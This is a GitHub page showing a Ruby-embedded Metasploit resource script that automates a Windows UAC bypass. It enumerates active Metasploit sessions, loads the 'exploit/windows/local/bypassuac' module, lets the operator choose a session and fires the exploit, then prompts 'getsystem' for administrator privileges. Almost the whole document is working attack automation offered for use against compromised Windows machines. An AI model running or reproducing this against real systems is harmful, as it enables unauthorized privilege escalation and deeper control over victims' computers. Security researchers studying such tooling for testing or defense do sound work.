This repository has been archived by the owner on Apr 9, 2021. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 2
/
bypass_UAC_script.rc
64 lines (60 loc) · 1.75 KB
/
bypass_UAC_script.rc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#bypass_UAC_script.rc
#author: sushiwushi
<ruby>
begin
#Introduction
puts ("\n==================================================")
print_good ("This script automates bypass UAC exploit")
print ("\n")
#Checking for running sessions
print_status("Checking available sessions...")
availableSessions = framework.sessions.length
#exit if no sessions found
exit if availableSessions==0
print_good("There are currently #{availableSessions} session(s) running")
print ("\n")
#loops for session informaton
framework.sessions.keys.each do |sessionNum|
print_status ("Session #{sessionNum}")
print_good ("IP Address: " + framework.sessions[sessionNum].session_host)
print_good ("Info: " + framework.sessions[sessionNum].info)
print ("\n")
end
#Using bypass UAC exploit
run_single("use exploit/windows/local/bypassuac")
#Automatically select first session
firstSession = framework.sessions.keys[0]
print_status ("Script will continue with session #{firstSession}")
print_good ("ENTER to accept, otherwise specify session number")
print("ENTER for yes: ")
input = gets.chomp
if input.empty?
input = firstSession
print_good ("Selected: session #{input}")
run_single ("set session #{input}")
else
print_good ("Selected: session #{input}")
run_single ("set session #{input}")
end
print("\n")
print_status ("Do you want to EXPLOIT now?")
print("ENTER for yes: ")
prompt = gets.chomp
if prompt.empty?
print_good ("Exploiting now...")
print_good ("Run getsystem to get admin privileges")
run_single("exploit")
else
print ("\n")
print_good ("Showing options")
run_single ("options")
print_good ("All done.")
print ("\n")
end
#Print error message if no sessions found
rescue SystemExit
print_error ("No sessions found!")
print_error ("Quitting!")
print ("\n")
end
</ruby>